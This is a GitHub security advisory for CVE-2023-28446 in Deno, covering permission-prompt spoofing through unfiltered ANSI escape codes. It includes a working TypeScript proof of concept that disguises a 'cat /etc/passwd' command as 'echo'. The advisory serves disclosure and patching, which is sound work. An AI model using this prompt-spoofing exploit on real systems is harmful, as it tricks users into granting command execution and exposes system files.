Skip to content

Interactive `run` permission prompt spoofing via improper ANSI neutralization

High severity GitHub Reviewed Published Mar 23, 2023 in denoland/deno • Updated Mar 24, 2023

Package

cargo deno (Rust)

Affected versions

>= 1.8.0, < 1.31.2

Patched versions

1.31.2
cargo deno_runtime (Rust)
>= 1.8.0, < 1.31.2
1.31.2

Description

Summary

Arbitrary program names without any ANSI filtering allows any malicious program to clear the first 2 lines of a op_spawn_child or op_kill prompt and replace it with any desired text.

Details

The main entry point comes down to the ability to override what the API control says (40_process.js). Because of ANSI code's ability to clear lines, a malicious program can clear the last 2 lines of the prompt and put their own header. This also works in op_kill.

PoC

This PoC works on 1.31.1, but modified versions of it work on older versions.

Make a file, e.g. index.ts, that uses this vulnerability to spoof the op_spawn_child permission prompt

const boldANSI = "\u001b[1m" // bold
const unboldANSI = "\u001b[22m" // unbold

const prompt = `┌ ⚠️  ${boldANSI}Deno requests run access to "echo"${unboldANSI}
├ Requested by \`Deno.Command().output()`

const moveANSIUp = "\u001b[1A" // moves to the start of the line
const clearANSI = "\u001b[2K" // clears the line
const moveANSIStart = "\u001b[1000D" // moves to the start of the line

Deno[Object.getOwnPropertySymbols(Deno)[0]].core.ops.op_spawn_child({
    cmd: "cat",
    args: ["/etc/passwd"],
    clearEnv: false,
    env: [],
    stdin: "null",
    stdout: "inherit",
    stderr: "piped"
}, moveANSIUp + clearANSI + moveANSIStart + prompt)

Run the file with deno run index.ts.

Impact

Any Deno program is able to spoof the interactive permission prompt for the op_spawn_child or the op_kill action (which indirectly gives access to all run commands) by overriding the Requested by {message} API with their own ANSI codes, allowing them to clear the latter prompt and change it to whatever they needed:

// Expected Prompt
┌ ⚠️  Deno requests run access to "cat"
├ Requested by `Deno.Command().output()` API
├ Run again with --allow-run to bypass this prompt.
└ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all run permissions) >

// Actual Prompt
┌ ⚠️  Deno requests run access to "echo"
├ Requested by `Deno.Command().output()` API
├ Run again with --allow-run to bypass this prompt.
└ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all run permissions) >

This works with any command on the respective platform, giving the program the full ability to choose what program they wanted to run.

This problem can not be exploited on systems that do not attach an interactive prompt (for example headless servers).

Before v1.31.0, this requires the --unstable flag.

References

@bartlomieju bartlomieju published to denoland/deno Mar 23, 2023
Published by the National Vulnerability Database Mar 24, 2023
Published to the GitHub Advisory Database Mar 24, 2023
Reviewed Mar 24, 2023
Last updated Mar 24, 2023

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

EPSS score

0.207%
(59th percentile)

Weaknesses

CVE ID

CVE-2023-28446

GHSA ID

GHSA-vq67-rp93-65qf

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.